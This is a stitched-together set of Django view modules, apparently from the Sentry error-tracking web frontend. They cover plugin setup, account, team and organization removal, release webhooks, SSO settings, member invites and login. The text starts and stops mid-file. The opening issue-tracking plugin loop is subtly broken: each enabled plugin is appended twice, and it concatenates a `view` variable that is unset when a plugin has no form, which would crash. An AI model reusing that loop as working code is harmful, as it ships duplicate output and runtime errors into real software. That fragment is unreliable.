        enabled_plugins = []
        other_plugins = []
        issue_v2_plugins = []
        for plugin in self._iter_plugins():
            if plugin.is_enabled(project):
                if isinstance(plugin, IssueTrackingPlugin2):
                    issue_v2_plugins.append(plugin)
                    continue
                content = plugin.get_issue_doc_html()

                form = plugin.project_conf_form
                if form is not None:
                    view = plugin.configure(request=request, project=project)
                    if isinstance(view, HttpResponse):
                        return view
                elif content:
                    enabled_plugins.append((plugin, mark_safe(content)))
                enabled_plugins.append((plugin, mark_safe(content + view)))
            elif plugin.can_configure_for_project(project):
                other_plugins.append(plugin)

        context = {
            'page': 'issue-tracking',
            'enabled_plugins': enabled_plugins,
            'other_plugins': other_plugins,
            'issue_v2_plugins': [{
                'title': p.get_title(),
                'slug': p.slug,
                'can_disable': p.can_disable,
                'is_enabled': True
            } for p in issue_v2_plugins]
        }

        return self.respond('sentry/project-issue-tracking.html', context)






from __future__ import absolute_import

import logging

from django import forms
from django.contrib.auth import logout

from sentry import roles
from sentry.api import client
from sentry.models import (
    Organization, OrganizationMember, OrganizationStatus, User
)
from sentry.web.frontend.base import BaseView


class RemoveAccountForm(forms.Form):
    pass


class RemoveAccountView(BaseView):
    sudo_required = True

    def get_form(self, request):
        if request.method == 'POST':
            return RemoveAccountForm(request.POST)
        return RemoveAccountForm()

    def handle(self, request):
        org_list = Organization.objects.filter(
            member_set__role=roles.get_top_dog().id,
            member_set__user=request.user,
            status=OrganizationStatus.VISIBLE,
        )
        org_results = []
        for org in sorted(org_list, key=lambda x: x.name):
            # O(N) query
            org_results.append({
                'organization': org,
                'single_owner': org.has_single_owner(),
            })

        form = self.get_form(request)
        if form.is_valid():
            avail_org_slugs = set([
                o['organization'].slug for o in org_results
            ])
            orgs_to_remove = set(
                request.POST.getlist('oID')
            ).intersection(avail_org_slugs)
            for result in org_results:
                if result['single_owner']:
                    orgs_to_remove.add(result['organization'].slug)

            logging.getLogger('sentry.deletions').info(
                'User (id=%s) removal requested by self',
                request.user.id)

            for org_slug in orgs_to_remove:
                client.delete('/organizations/{}/'.format(org_slug),
                              request=request, is_sudo=True)

            remaining_org_ids = [
                o.id for o in org_list
                if o.slug in avail_org_slugs.difference(orgs_to_remove)
            ]

            if remaining_org_ids:
                OrganizationMember.objects.filter(
                    organization__in=remaining_org_ids,
                    user=request.user,
                ).delete()

            User.objects.filter(
                id=request.user.id,
            ).update(
                is_active=False,
            )

            logout(request)

            return self.respond('sentry/post-remove-account.html')

        context = {
            'form': form,
            'organization_results': org_results,
        }

        return self.respond('sentry/remove-account.html', context)






from __future__ import absolute_import

import logging

from django.conf import settings
from django.views.generic import View
from django.template import Context, loader
from django.http import HttpResponseServerError

from sentry.models import ProjectKey
from sentry.utils import json


class Error500View(View):
    def get_embed_config(self, request):
        if not hasattr(request, 'sentry'):
            return

        try:
            projectkey = ProjectKey.objects.filter(
                project=settings.SENTRY_PROJECT,
            )[0]
        except Exception:
            logging.exception('Unable to fetch ProjectKey for internal project')
            return

        result = {
            'dsn': projectkey.dsn_public,
            'eventId': request.sentry['id'],
        }
        if hasattr(request, 'user') and request.user.is_authenticated():
            try:
                result.update({
                    'userName': request.user.name,
                    'userEmail': request.user.email,
                })
            except Exception:
                logging.exception('Unable to fetch user information for embed')
        return result

    def dispatch(self, request):
        """
        500 error handler.

        Templates: `500.html`
        Context: None
        """
        context = {
            'request': request,
        }

        embed_config = self.get_embed_config(request)
        if embed_config:
            context['embed_config'] = json.dumps_htmlsafe(
                embed_config
            )

        t = loader.get_template('sentry/500.html')
        return HttpResponseServerError(t.render(Context(context)))






from __future__ import absolute_import

from django import forms
from django.contrib import messages
from django.core.urlresolvers import reverse
from django.http import HttpResponseRedirect
from django.utils.translation import ugettext_lazy as _

from sentry.api import client
from sentry.web.frontend.base import TeamView


class RemoveTeamForm(forms.Form):
    pass


class RemoveTeamView(TeamView):
    required_scope = 'team:delete'
    sudo_required = True

    def get_form(self, request):
        if request.method == 'POST':
            return RemoveTeamForm(request.POST)
        return RemoveTeamForm(None)

    def handle(self, request, organization, team):
        form = self.get_form(request)

        if form.is_valid():
            client.delete('/teams/{}/{}/'.format(organization.slug, team.slug),
                          request=request, is_sudo=True)

            messages.add_message(
                request, messages.SUCCESS,
                _(u'The team %r was scheduled for deletion.') % (team.name.encode('utf-8'),))

            return HttpResponseRedirect(reverse('sentry'))

        context = {
            'form': form,
            'project_list': team.project_set.all(),
        }

        return self.respond('sentry/teams/remove.html', context)






from __future__ import absolute_import

from sentry.models import ProjectKey
from sentry.web.frontend.base import ProjectView


class ProjectKeysView(ProjectView):
    def get(self, request, organization, team, project):
        key_list = list(ProjectKey.objects.filter(
            project=project,
        ).order_by('-id'))

        for key in key_list:
            key.project = project

        context = {
            'page': 'keys',
            'key_list': key_list,
        }

        return self.respond('sentry/projects/keys.html', context)






from __future__ import absolute_import

from django.middleware.csrf import REASON_NO_REFERER
from django.views.decorators.csrf import csrf_exempt
from django.views.generic import View
from django.utils.decorators import method_decorator

from sentry.web.helpers import render_to_response


class CsrfFailureView(View):
    @method_decorator(csrf_exempt)
    def dispatch(self, request, reason=""):
        context = {
            'no_referer': reason == REASON_NO_REFERER,
            'request': request,
        }

        return render_to_response('sentry/403-csrf-failure.html', context, request,
                                  status=403)


view = CsrfFailureView.as_view()






from __future__ import absolute_import, print_function

from hashlib import sha256
import hmac
import logging
import six
from simplejson import JSONDecodeError

from django.http import HttpResponse
from django.views.decorators.csrf import csrf_exempt
from django.views.generic import View
from django.utils.crypto import constant_time_compare
from django.utils.decorators import method_decorator

from sentry.api import client
from sentry.models import ApiKey, Project, ProjectOption
from sentry.plugins import plugins
from sentry.utils import json

logger = logging.getLogger('sentry.webhooks')


class ReleaseWebhookView(View):
    def verify(self, plugin_id, project_id, token, signature):
        return constant_time_compare(signature, hmac.new(
            key=token.encode('utf-8'),
            msg=('{}-{}'.format(plugin_id, project_id)).encode('utf-8'),
            digestmod=sha256
        ).hexdigest())

    @method_decorator(csrf_exempt)
    def dispatch(self, *args, **kwargs):
        return super(ReleaseWebhookView, self).dispatch(*args, **kwargs)

    def _handle_builtin(self, request, project):
        endpoint = '/projects/{}/{}/releases/'.format(
            project.organization.slug,
            project.slug,
        )

        try:
            data = json.loads(request.body)
        except JSONDecodeError as exc:
            return HttpResponse(
                status=400,
                content=json.dumps({'error': six.text_type(exc)}),
                content_type='application/json',
            )

        try:
            # Ideally the API client would support some kind of god-mode here
            # as we've already confirmed credentials and simply want to execute
            # the view code. Instead we hack around it with an ApiKey instance
            god = ApiKey(
                organization=project.organization,
                scopes=getattr(ApiKey.scopes, 'project:write'),
            )

            resp = client.post(
                endpoint,
                data=data,
                auth=god,
            )
        except client.ApiError as exc:
            return HttpResponse(
                status=exc.status_code,
                content=exc.body,
                content_type='application/json',
            )
        return HttpResponse(
            status=resp.status_code,
            content=json.dumps(resp.data),
            content_type='application/json',
        )

    def post(self, request, plugin_id, project_id, signature):
        project = Project.objects.get_from_cache(id=project_id)

        token = ProjectOption.objects.get_value(project, 'sentry:release-token')

        logger.info('Incoming webhook for project_id=%s, plugin_id=%s',
                    project_id, plugin_id)

        if not self.verify(plugin_id, project_id, token, signature):
            logger.warn('Unable to verify signature for release hook')
            return HttpResponse(status=403)

        if plugin_id == 'builtin':
            return self._handle_builtin(request, project)

        plugin = plugins.get(plugin_id)
        if not plugin.is_enabled(project):
            logger.warn('Disabled release hook received for project_id=%s, plugin_id=%s',
                        project_id, plugin_id)
            return HttpResponse(status=403)

        cls = plugin.get_release_hook()
        hook = cls(project)
        hook.handle(request)

        return HttpResponse(status=204)






from __future__ import absolute_import

from django.core.urlresolvers import reverse

from sentry.plugins import plugins
from sentry.web.frontend.base import ProjectView


class ProjectPluginDisableView(ProjectView):
    required_scope = 'project:write'

    def post(self, request, organization, team, project, slug):
        try:
            plugin = plugins.get(slug)
        except KeyError:
            return self.redirect(reverse('sentry-configure-project-plugin', args=[project.organization.slug, project.slug, slug]))

        if not plugin.is_enabled(project):
            return self.redirect(reverse('sentry-configure-project-plugin', args=[project.organization.slug, project.slug, slug]))

        plugin.disable(project=project)

        return self.redirect(reverse('sentry-configure-project-plugin', args=[project.organization.slug, project.slug, slug]))






from __future__ import absolute_import

from django.conf import settings
from django.contrib import messages
from django.core.urlresolvers import reverse
from django.http import HttpResponseRedirect
from django.utils.translation import ugettext_lazy as _

from sentry import roles
from sentry.signals import member_invited
from sentry.web.frontend.base import OrganizationView
from sentry.web.forms.invite_organization_member import InviteOrganizationMemberForm
from sentry.web.forms.add_organization_member import AddOrganizationMemberForm


class CreateOrganizationMemberView(OrganizationView):
    required_scope = 'org:write'

    def get_form(self, request, organization):
        initial = {
            'role': organization.default_role,
        }

        if settings.SENTRY_ENABLE_INVITES:
            form_cls = InviteOrganizationMemberForm
        else:
            form_cls = AddOrganizationMemberForm

        return form_cls(request.POST or None, initial=initial)

    def handle(self, request, organization):
        form = self.get_form(request, organization)
        if form.is_valid():
            om, created = form.save(request.user, organization, request.META['REMOTE_ADDR'])

            if created:
                messages.add_message(request, messages.SUCCESS,
                    _('The organization member was added.'))

                member_invited.send(member=om, user=request.user, sender=self)

            else:
                messages.add_message(request, messages.INFO,
                    _('The organization member already exists.'))

            redirect = reverse('sentry-organization-member-settings',
                               args=[organization.slug, om.id])

            return HttpResponseRedirect(redirect)

        context = {
            'form': form,
            'is_invite': settings.SENTRY_ENABLE_INVITES,
            'role_list': roles.get_all(),
        }

        return self.respond('sentry/create-organization-member.html', context)






from __future__ import absolute_import

from django import forms
from django.contrib import messages
from django.core.urlresolvers import reverse
from django.utils.translation import ugettext_lazy as _

from sentry.models import OrganizationStatus
from sentry.tasks.deletion import delete_organization
from sentry.web.frontend.base import OrganizationView

ERR_DEFAULT_ORG = _('You cannot remove the default organization.')

MSG_REMOVE_SUCCESS = _('The %s organization has been scheduled for removal.')


class RemoveOrganizationForm(forms.Form):
    pass


class RemoveOrganizationView(OrganizationView):
    required_scope = 'org:delete'
    sudo_required = True

    def get_form(self, request, organization):
        if request.method == 'POST':
            return RemoveOrganizationForm(request.POST)
        return RemoveOrganizationForm()

    def handle(self, request, organization):
        if organization.is_default:
            messages.add_message(request, messages.ERROR, ERR_DEFAULT_ORG)
            return self.redirect(reverse('sentry-organization-home', args=[
                organization.slug
            ]))

        form = self.get_form(request, organization)
        if form.is_valid():
            if organization.status != OrganizationStatus.PENDING_DELETION:
                organization.update(status=OrganizationStatus.PENDING_DELETION)

                delete_organization.apply_async(kwargs={
                    'object_id': organization.id,
                }, countdown=60 * 5)

            messages.add_message(request, messages.SUCCESS,
                MSG_REMOVE_SUCCESS % (organization.name,))

            return self.redirect(reverse('sentry'))

        context = {
            'form': form,
            'team_list': organization.team_set.all(),
        }

        return self.respond('sentry/remove-organization.html', context)






from __future__ import absolute_import

from django.contrib import messages
from django.core.urlresolvers import reverse
from django.db.models import Q
from django.utils.translation import ugettext_lazy as _, ugettext

from sentry import roles
from sentry.models import OrganizationMember, OrganizationMemberTeam, Team
from sentry.web.frontend.base import OrganizationView
from sentry.web.forms.edit_organization_member import EditOrganizationMemberForm
from sentry.web.helpers import get_login_url


class OrganizationMemberSettingsView(OrganizationView):
    def get_form(self, request, member, allowed_roles):
        return EditOrganizationMemberForm(
            data=request.POST or None,
            instance=member,
            allowed_roles=allowed_roles,
            initial={
                'role': member.role,
                'teams': Team.objects.filter(
                    id__in=OrganizationMemberTeam.objects.filter(
                        organizationmember=member,
                    ).values('team'),
                ),
            }
        )

    def resend_invite(self, request, organization, member, regen=False):
        if regen:
            member.update(token=member.generate_token())
            messages.success(request, ugettext('A new invitation has been generated and sent to %(email)s') % {
                'organization': organization.name,
                'email': member.email,
            })
        else:
            messages.success(request, ugettext('An invitation to join %(organization)s has been sent to %(email)s') % {
                'organization': organization.name,
                'email': member.email,
            })

        member.send_invite_email()

        redirect = reverse('sentry-organization-member-settings',
                           args=[organization.slug, member.id])

        return self.redirect(redirect)

    def view_member(self, request, organization, member):
        context = {
            'member': member,
            'enabled_teams': set(member.teams.all()),
            'all_teams': Team.objects.filter(
                organization=organization,
            ),
            'role_list': roles.get_all(),
        }

        return self.respond('sentry/organization-member-details.html', context)

    def handle(self, request, organization, member_id):
        try:
            member = OrganizationMember.objects.get(
                Q(user__is_active=True) | Q(user__isnull=True),
                organization=organization,
                id=member_id,
            )
        except OrganizationMember.DoesNotExist:
            return self.redirect(get_login_url())

        if request.POST.get('op') == 'reinvite' and member.is_pending:
            return self.resend_invite(request, organization, member)
        elif request.POST.get('op') == 'regenerate' and member.is_pending:
            return self.resend_invite(request, organization, member, regen=True)

        can_admin = request.access.has_scope('member:delete')

        if can_admin and not request.is_superuser():
            acting_member = OrganizationMember.objects.get(
                user=request.user,
                organization=organization,
            )
            if roles.get(acting_member.role).priority < roles.get(member.role).priority:
                can_admin = False
            else:
                allowed_roles = [
                    r for r in roles.get_all()
                    if r.priority <= roles.get(acting_member.role).priority
                ]
                can_admin = bool(allowed_roles)
        elif request.is_superuser():
            allowed_roles = roles.get_all()

        if member.user == request.user or not can_admin:
            return self.view_member(request, organization, member)

        form = self.get_form(request, member, allowed_roles)
        if form.is_valid():
            member = form.save(request.user, organization, request.META['REMOTE_ADDR'])

            messages.add_message(request, messages.SUCCESS,
                _('Your changes were saved.'))

            redirect = reverse('sentry-organization-member-settings',
                               args=[organization.slug, member.id])

            return self.redirect(redirect)

        context = {
            'member': member,
            'form': form,
            'invite_link': member.get_invite_link(),
            'role_list': [
                (r, r in allowed_roles)
                for r in roles.get_all()
            ]
        }

        return self.respond('sentry/organization-member-settings.html', context)






from __future__ import absolute_import

from django.db import transaction
from django.views.decorators.cache import never_cache

from sentry.web.frontend.base import BaseView
from sentry.utils import auth


class ReactivateAccountView(BaseView):
    # auth check is managed by view code
    auth_required = False

    @never_cache
    @transaction.atomic
    def handle(self, request):
        if not request.user.is_authenticated:
            return self.handle_auth_required(request)

        if request.POST.get('op') == 'confirm':
            request.user.update(is_active=True)

            return self.redirect(auth.get_login_redirect(request))

        context = {}
        return self.respond('sentry/reactivate-account.html', context)






from __future__ import absolute_import

from django.core.urlresolvers import reverse
from django.contrib import messages
from django.utils.translation import ugettext_lazy as _

from sentry.models import Rule
from sentry.web.frontend.base import ProjectView


class ProjectRuleRemoveView(ProjectView):
    required_scope = 'project:write'

    def post(self, request, organization, team, project, rule_id):
        path = reverse('sentry-project-rules', args=[organization.slug, project.slug])

        try:
            rule = Rule.objects.get(project=project, id=rule_id)
        except Rule.DoesNotExist:
            return self.redirect(path)

        rule.delete()

        messages.add_message(request, messages.SUCCESS,
            _('The rule was removed.'))

        return self.redirect(path)






from __future__ import absolute_import, print_function


from django.conf import settings
from django.core.urlresolvers import reverse
from django.db import transaction
from django.views.decorators.cache import never_cache
from django.contrib import messages

from sentry import features
from sentry.auth.helper import AuthHelper
from sentry.constants import WARN_SESSION_EXPIRED
from sentry.models import AuthProvider, Organization, OrganizationStatus
from sentry.utils import auth
from sentry.web.forms.accounts import AuthenticationForm, RegistrationForm
from sentry.web.frontend.base import BaseView


class AuthOrganizationLoginView(BaseView):
    auth_required = False

    def get_login_form(self, request):
        op = request.POST.get('op')
        return AuthenticationForm(
            request, request.POST if op == 'login' else None,
            captcha=bool(request.session.get('needs_captcha')),
        )

    def get_register_form(self, request):
        op = request.POST.get('op')
        return RegistrationForm(
            request.POST if op == 'register' else None,
            captcha=bool(request.session.get('needs_captcha')),
        )

    def handle_basic_auth(self, request, organization):
        can_register = features.has('auth:register') or request.session.get('can_register')

        op = request.POST.get('op')
        login_form = self.get_login_form(request)
        if can_register:
            register_form = self.get_register_form(request)
        else:
            register_form = None

        if can_register and register_form.is_valid():
            user = register_form.save()
            user.send_confirm_emails(is_new_user=True)

            defaults = {
                'role': 'member',
            }

            organization.member_set.create(
                user=user,
                **defaults
            )

            # HACK: grab whatever the first backend is and assume it works
            user.backend = settings.AUTHENTICATION_BACKENDS[0]

            auth.login(request, user)

            # can_register should only allow a single registration
            request.session.pop('can_register', None)

            request.session.pop('needs_captcha', None)

            return self.redirect(auth.get_login_redirect(request))

        elif login_form.is_valid():
            auth.login(request, login_form.get_user())

            request.session.pop('needs_captcha', None)

            return self.redirect(auth.get_login_redirect(request))

        elif request.POST and not request.session.get('needs_captcha'):
            auth.log_auth_failure(request, request.POST.get('username'))
            request.session['needs_captcha'] = 1
            login_form = self.get_login_form(request)
            login_form.errors.pop('captcha', None)
            if can_register:
                register_form = self.get_register_form(request)
                register_form.errors.pop('captcha', None)

        # When the captcha fails, hide any other errors
        # to prevent brute force attempts.
        if 'captcha' in login_form.errors:
            for k in login_form.errors.keys():
                if k != 'captcha':
                    login_form.errors.pop(k)

        request.session.set_test_cookie()

        context = {
            'op': op or 'login',
            'login_form': login_form,
            'register_form': register_form,
            'organization': organization,
            'CAN_REGISTER': can_register,
        }
        return self.respond('sentry/organization-login.html', context)

    def handle_sso(self, request, organization, auth_provider):
        if request.method == 'POST':
            helper = AuthHelper(
                request=request,
                organization=organization,
                auth_provider=auth_provider,
                flow=AuthHelper.FLOW_LOGIN,
            )
            helper.init_pipeline()
            return helper.next_step()

        provider = auth_provider.get_provider()

        context = {
            'CAN_REGISTER': False,
            'organization': organization,
            'provider_key': provider.key,
            'provider_name': provider.name,
        }

        return self.respond('sentry/organization-login.html', context)

    @never_cache
    @transaction.atomic
    def handle(self, request, organization_slug):
        try:
            organization = Organization.objects.get(
                slug=organization_slug
            )
        except Organization.DoesNotExist:
            return self.redirect(reverse('sentry-login'))

        if organization.status != OrganizationStatus.VISIBLE:
            return self.redirect(reverse('sentry-login'))

        request.session.set_test_cookie()

        try:
            auth_provider = AuthProvider.objects.get(
                organization=organization
            )
        except AuthProvider.DoesNotExist:
            auth_provider = None

        session_expired = 'session_expired' in request.COOKIES
        if session_expired:
            messages.add_message(request, messages.WARNING, WARN_SESSION_EXPIRED)

        if not auth_provider:
            response = self.handle_basic_auth(request, organization)
        else:
            response = self.handle_sso(request, organization, auth_provider)

        if session_expired:
            response.delete_cookie('session_expired')

        return response






from __future__ import absolute_import

from django import forms
from django.contrib import messages
from django.core.urlresolvers import reverse
from django.db import transaction
from django.db.models import F
from django.http import HttpResponse, HttpResponseRedirect
from django.utils.translation import ugettext_lazy as _

from sentry import features, roles
from sentry.auth import manager
from sentry.auth.helper import AuthHelper
from sentry.models import AuditLogEntryEvent, AuthProvider, OrganizationMember
from sentry.plugins import Response
from sentry.tasks.auth import email_missing_links
from sentry.utils import db
from sentry.utils.http import absolute_uri
from sentry.web.frontend.base import OrganizationView

ERR_NO_SSO = _('The SSO feature is not enabled for this organization.')

OK_PROVIDER_DISABLED = _('SSO authentication has been disabled.')

OK_REMINDERS_SENT = _('A reminder email has been sent to members who have not yet linked their accounts.')


class AuthProviderSettingsForm(forms.Form):
    require_link = forms.BooleanField(
        label=_('Require SSO'),
        help_text=_('Require members use a valid linked SSO account to access this organization'),
        required=False,
    )
    default_role = forms.ChoiceField(
        label=_('Default Role'),
        choices=roles.get_choices(),
        help_text=_('The default role new members will receive when logging in for the first time.'),
    )


class OrganizationAuthSettingsView(OrganizationView):
    # We restrict auth settings to org:delete as it allows a non-owner to
    # escalate members to own by disabling the default role.
    required_scope = 'org:delete'

    def _disable_provider(self, request, organization, auth_provider):
        self.create_audit_entry(
            request,
            organization=organization,
            target_object=auth_provider.id,
            event=AuditLogEntryEvent.SSO_DISABLE,
            data=auth_provider.get_audit_log_data(),
        )

        if db.is_sqlite():
            for om in OrganizationMember.objects.filter(organization=organization):
                setattr(om.flags, 'sso:linked', False)
                setattr(om.flags, 'sso:invalid', False)
                om.save()
        else:
            OrganizationMember.objects.filter(
                organization=organization,
            ).update(
                flags=F('flags').bitand(
                    ~getattr(OrganizationMember.flags, 'sso:linked'),
                ).bitand(
                    ~getattr(OrganizationMember.flags, 'sso:invalid'),
                ),
            )

        auth_provider.delete()

    def handle_existing_provider(self, request, organization, auth_provider):
        provider = auth_provider.get_provider()

        if request.method == 'POST':
            op = request.POST.get('op')
            if op == 'disable':
                self._disable_provider(request, organization, auth_provider)

                messages.add_message(
                    request, messages.SUCCESS,
                    OK_PROVIDER_DISABLED,
                )

                next_uri = reverse('sentry-organization-auth-settings',
                                   args=[organization.slug])
                return self.redirect(next_uri)
            elif op == 'reinvite':
                email_missing_links.delay(organization_id=organization.id)

                messages.add_message(
                    request, messages.SUCCESS,
                    OK_REMINDERS_SENT,
                )

                next_uri = reverse('sentry-organization-auth-settings',
                                   args=[organization.slug])
                return self.redirect(next_uri)

        form = AuthProviderSettingsForm(
            data=request.POST if request.POST.get('op') == 'settings' else None,
            initial={
                'require_link': not auth_provider.flags.allow_unlinked,
                'default_role': organization.default_role,
            },
        )

        if form.is_valid():
            auth_provider.flags.allow_unlinked = not form.cleaned_data['require_link']
            auth_provider.save()

            organization.default_role = form.cleaned_data['default_role']
            organization.save()

        view = provider.get_configure_view()
        response = view(request, organization, auth_provider)
        if isinstance(response, HttpResponse):
            return response
        elif isinstance(response, Response):
            response = response.render(request, {
                'auth_provider': auth_provider,
                'organization': organization,
                'provider': provider,
            })

        pending_links_count = OrganizationMember.objects.filter(
            organization=organization,
            flags=~getattr(OrganizationMember.flags, 'sso:linked'),
        ).count()

        context = {
            'form': form,
            'pending_links_count': pending_links_count,
            'login_url': absolute_uri(reverse('sentry-organization-home', args=[organization.slug])),
            'auth_provider': auth_provider,
            'provider_name': provider.name,
            'content': response,
        }

        return self.respond('sentry/organization-auth-provider-settings.html', context)

    def handle_provider_setup(self, request, organization, provider_key):
        helper = AuthHelper(
            request=request,
            organization=organization,
            provider_key=provider_key,
            flow=AuthHelper.FLOW_SETUP_PROVIDER,
        )
        helper.init_pipeline()
        return helper.next_step()

    @transaction.atomic
    def handle(self, request, organization):
        if not features.has('organizations:sso', organization, actor=request.user):
            messages.add_message(
                request, messages.ERROR,
                ERR_NO_SSO,
            )
            return HttpResponseRedirect(reverse('sentry-organization-home', args=[organization.slug]))

        try:
            auth_provider = AuthProvider.objects.get(
                organization=organization,
            )
        except AuthProvider.DoesNotExist:
            pass
        else:
            return self.handle_existing_provider(
                request=request,
                organization=organization,
                auth_provider=auth_provider,
            )

        if request.method == 'POST':
            provider_key = request.POST.get('provider')
            if not manager.exists(provider_key):
                raise ValueError('Provider not found: {}'.format(provider_key))

            # render first time setup view
            return self.handle_provider_setup(request, organization, provider_key)

        context = {
            'provider_list': [(k, v.name) for k, v in manager],
        }

        return self.respond('sentry/organization-auth-settings.html', context)






from __future__ import absolute_import

from sentry.web.frontend.base import BaseView


class HomeView(BaseView):
    def get(self, request):
        return self.redirect_to_org(request)






from __future__ import absolute_import, division

from django.http import Http404, HttpResponseRedirect
from django.shortcuts import get_object_or_404

from sentry.models import Group, GroupMeta
from sentry.plugins import plugins
from sentry.web.frontend.base import ProjectView


class GroupPluginActionView(ProjectView):
    required_scope = 'event:read'

    def handle(self, request, organization, team, project, group_id, slug):
        group = get_object_or_404(Group, pk=group_id, project=project)

        try:
            plugin = plugins.get(slug)
        except KeyError:
            raise Http404('Plugin not found')

        GroupMeta.objects.populate_cache([group])

        response = plugin.get_view_response(request, group)
        if response:
            return response

        redirect = request.META.get('HTTP_REFERER') or '/{}/{}/'.format(
            organization.slug,
            group.project.slug,
        )
        return HttpResponseRedirect(redirect)






from __future__ import absolute_import

from django.http import HttpResponse, HttpResponseBadRequest, HttpResponseNotFound
from django.views.generic import View

from sentry.models import UserAvatar
from sentry.web.frontend.generic import FOREVER_CACHE


class UserAvatarPhotoView(View):

    def get_file_name(self, user):
        return '%s.png' % user.id

    def get(self, request, *args, **kwargs):
        avatar_id = kwargs['avatar_id']
        try:
            avatar = UserAvatar.objects.get(ident=avatar_id)
        except UserAvatar.DoesNotExist:
            return HttpResponseNotFound()

        photo = avatar.file
        if not photo:
            return HttpResponseNotFound()

        size = request.GET.get('s')
        photo_file = photo.getfile()
        if size:
            try:
                size = int(size)
            except ValueError:
                return HttpResponseBadRequest()
            else:
                photo_file = avatar.get_cached_photo(size)

        res = HttpResponse(photo_file, content_type='image/png')
        res['Cache-Control'] = FOREVER_CACHE
        return res






from __future__ import absolute_import

from sentry.rules import rules
from sentry.models import Rule, RuleStatus
from sentry.web.frontend.base import ProjectView


def _generate_rule_label(project, rule, data):
    rule_cls = rules.get(data['id'])
    if rule_cls is None:
        return

    rule_inst = rule_cls(project, data=data, rule=rule)
    return rule_inst.render_label()


class ProjectRulesView(ProjectView):
    required_scope = 'project:write'

    def get(self, request, organization, team, project):
        queryset = Rule.objects.filter(
            project=project,
            status__in=[RuleStatus.ACTIVE, RuleStatus.INACTIVE],
        )
        rule_list = []
        for rule in queryset:
            conditions = []
            for data in rule.data['conditions']:
                conditions.append(_generate_rule_label(project, rule, data))
            conditions = list(filter(bool, conditions))

            actions = []
            for data in rule.data['actions']:
                actions.append(_generate_rule_label(project, rule, data))
            actions = list(filter(bool, actions))

            rule_list.append({
                'id': rule.id,
                'label': rule.label,
                'match': rule.data.get('action_match', 'all'),
                'actions': actions,
                'conditions': conditions,
            })

        context = {
            'page': 'rules',
            'rule_list': rule_list,
        }

        return self.respond('sentry/projects/rules/list.html', context)






from __future__ import absolute_import

from django import forms
from django.contrib import messages
from django.core.urlresolvers import reverse
from django.utils.crypto import constant_time_compare
from django.utils.translation import ugettext_lazy as _

from sentry.models import (
    AuditLogEntryEvent, OrganizationMember, Project
)
from sentry.signals import member_joined
from sentry.web.frontend.base import BaseView

ERR_INVITE_INVALID = _('The invite link you followed is not valid.')


class AcceptInviteForm(forms.Form):
    pass


class AcceptOrganizationInviteView(BaseView):
    auth_required = False

    def get_form(self, request):
        if request.method == 'POST':
            return AcceptInviteForm(request.POST)
        return AcceptInviteForm()

    def handle(self, request, member_id, token):
        assert request.method in ('POST', 'GET')

        try:
            om = OrganizationMember.objects.get(pk=member_id)
        except OrganizationMember.DoesNotExist:
            messages.add_message(
                request, messages.ERROR,
                ERR_INVITE_INVALID,
            )

            return self.redirect(reverse('sentry'))

        if not om.is_pending:
            messages.add_message(
                request, messages.ERROR,
                ERR_INVITE_INVALID,
            )

            return self.redirect(reverse('sentry'))

        if not constant_time_compare(om.token or om.legacy_token, token):
            messages.add_message(
                request, messages.ERROR,
                ERR_INVITE_INVALID,
            )
            return self.redirect(reverse('sentry'))

        organization = om.organization

        qs = Project.objects.filter(
            organization=organization,
        )
        project_list = list(qs.select_related('team')[:25])
        project_count = qs.count()

        context = {
            'organization': om.organization,
            'project_list': project_list,
            'project_count': project_count,
            'needs_authentication': not request.user.is_authenticated(),
        }

        if not request.user.is_authenticated():
            # Show login or register form
            request.session['_next'] = request.get_full_path()
            request.session['can_register'] = True

            return self.respond('sentry/accept-organization-invite.html', context)

        form = self.get_form(request)
        if form.is_valid():
            if OrganizationMember.objects.filter(organization=organization, user=request.user).exists():
                messages.add_message(
                    request, messages.SUCCESS,
                    _('You are already a member of the %r organization.') % (
                        organization.name.encode('utf-8'),
                    )
                )

                om.delete()
            else:
                om.user = request.user
                om.email = None
                om.save()

                self.create_audit_entry(
                    request,
                    organization=organization,
                    target_object=om.id,
                    target_user=request.user,
                    event=AuditLogEntryEvent.MEMBER_ACCEPT,
                    data=om.get_audit_log_data(),
                )

                messages.add_message(
                    request, messages.SUCCESS,
                    _('You have been added to the %r organization.') % (
                        organization.name.encode('utf-8'),
                    )
                )

                member_joined.send(member=om, sender=self)

            request.session.pop('can_register', None)

            return self.redirect(reverse('sentry-organization-home', args=[organization.slug]))

        context['form'] = form

        return self.respond('sentry/accept-organization-invite.html', context)






from __future__ import absolute_import

from django.core.urlresolvers import reverse

from sentry.web.forms.add_team import AddTeamForm
from sentry.web.frontend.base import OrganizationView


class CreateTeamView(OrganizationView):
    required_scope = 'team:write'

    def get_form(self, request):
        return AddTeamForm(request.POST or None, initial={
            'team': request.GET.get('team'),
        })

    def handle(self, request, organization):
        form = self.get_form(request)
        if form.is_valid():
            team = form.save(request.user, organization, request.META['REMOTE_ADDR'])

            url = '{}?team={}'.format(
                reverse('sentry-create-project', args=[organization.slug]),
                team.slug,
            )

            return self.redirect(url)

        context = {
            'form': form,
        }

        return self.respond('sentry/create-team.html', context)






from __future__ import absolute_import

from django.core.urlresolvers import reverse
from django.http import HttpResponse

from sentry.plugins import plugins, IssueTrackingPlugin2
from sentry.web.frontend.base import ProjectView


class ProjectPluginConfigureView(ProjectView):
    required_scope = 'project:write'

    def handle(self, request, organization, team, project, slug):
        try:
            plugin = plugins.get(slug)
        except KeyError:
            return self.redirect(reverse('sentry-manage-project', args=[project.organization.slug, project.slug]))

        if not plugin.can_configure_for_project(project):
            return self.redirect(reverse('sentry-manage-project', args=[project.organization.slug, project.slug]))

        issue_v2_plugin = None
        is_enabled = plugin.is_enabled(project)
        if isinstance(plugin, IssueTrackingPlugin2):
            view = None
            issue_v2_plugin = {
                'title': plugin.get_title(),
                'slug': plugin.slug,
                'can_disable': plugin.can_disable,
                'is_enabled': is_enabled
            }
        else:
            view = plugin.configure(request=request, project=project)
            if isinstance(view, HttpResponse):
                return view

        context = {
            'page': 'plugin',
            'title': plugin.get_title(),
            'view': view,
            'plugin': plugin,
            'plugin_is_enabled': is_enabled,
            'issue_v2_plugin': issue_v2_plugin
        }

        return self.respond('sentry/projects/plugins/configure.html', context)






from __future__ import absolute_import

from django import forms
from django.core.urlresolvers import reverse
from django.http import HttpResponseRedirect
from django.utils.translation import ugettext_lazy as _

from sentry import features, roles
from sentry.models import (
    AuditLogEntryEvent, Organization, OrganizationMember,
    OrganizationMemberTeam
)
from sentry.web.frontend.base import BaseView


class NewOrganizationForm(forms.ModelForm):
    name = forms.CharField(label=_('Organization Name'), max_length=200,
        widget=forms.TextInput(attrs={'placeholder': _('My Company')}))

    class Meta:
